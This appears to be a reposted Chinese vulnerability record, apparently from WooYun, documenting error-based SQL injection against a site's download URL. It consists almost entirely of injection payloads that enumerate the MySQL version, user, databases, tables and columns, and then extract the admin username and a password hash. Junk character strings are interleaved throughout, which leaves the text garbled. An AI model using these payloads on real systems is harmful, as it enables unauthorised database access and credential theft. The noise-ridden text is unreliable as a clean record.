http://www.wooyun.org/bugs/wooyun-2010-01666 j9 A( t- g6 S! u5 U
5 O" @8 \- a" s$ a( R
之前想找个测试 没想到这有 可以测试下做个记录而已 6 @- l2 ~1 |( r9 P' x# ?
9 B% H" R4 f4 Z1 E$ ~http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003! f5 A o8 a* L' F7 N @8 O) T$ E
3 A/ N B0 r$ l6 F
/data0/htdocs/leqi_new/app/myapp.php* V1 p% K5 L) S5 W, `; Y5 i
5 n0 r4 i( g1 a% k( B( Q) Z 或者
: M0 d' J) H. E* w- [& _9 ~" A* Z$ P* k: w7 H, b: c- T
/**********version()**********/ 5.1.49-log* x- \' f. v6 F I+ J
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003, @) a( |$ ^2 M# r. z+ w5 p" b
- l) [0 d% [* P
/**********user()**********/ * P" f. J$ A( w: l) m8 d
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
2 k3 R' B) H( t4 C8 [* A" R
8 t4 J# p/ {3 {. ` |: k/**********database()**********/ leqi2 V& f0 z9 D* f# w6 I
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003, Z1 e8 D8 `( t$ U% k
7 j& w3 A3 U! A+ h$ s |/**********limit依次递归爆库**********/
! Z |! t) ]3 Ghttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0035 K a( n9 V1 ?5 D* d( G4 M) V
information_schema
* X+ o3 T' L) C5 s. yhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003) u% U4 h8 e) n. z
leqi7 o4 N& Q0 k7 Q. y
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003! {8 |3 @7 d" m/ Y! [. ~
test
( E1 [2 L, q1 s1 B- `
2 M0 v% Q1 t, y0 A9 Q; L/**********limit依次递归爆表名**********/. G' ]/ V$ V# j1 M
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
) G; v" n6 p, y, d# c% n, pusers
1 W+ h% ?5 } a. e! E! l/ E0 ?! a6 U# W {8 R! G
/**********limit依次递归爆字段名**********/
% u6 E2 b! }: Ghttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003& B8 M4 E8 ]7 C; R# V' S
user_id,username,nickname,passwd,group_id
' o5 N* c" K; ? ?4 O. [http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
2 ?4 f( ?* y6 ]/wapc/5000_0005_0039 p) Y: B: ?$ b; b9 A& C: }
11 21) }- n5 s* H. R5 |( f; [" D# h( q! O
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
1 C6 y: J: P, w E4 f; C# @% x/wapc/5000_0005_003! e$ g( R* m* b$ b3 k& i# ?
11 341 351 361
$ Y( n$ a- y) d) V/**********爆数据**********/
% C7 T1 I. D% Chttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%236 ?: r: @4 }' e, k1 g
admin* L! Q0 n2 g7 \4 Y/ E6 I8 L- D2 [
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
: a% B. o$ X( F2 M' Z- I6a8b4574ca231eb8bd52764d4978ffcd2 m9 {) `6 d( L7 z1 e, R6 V
: K7 Q4 i( { }& K3 r! v
- E/ K6 e& g9 h8 M% j# S |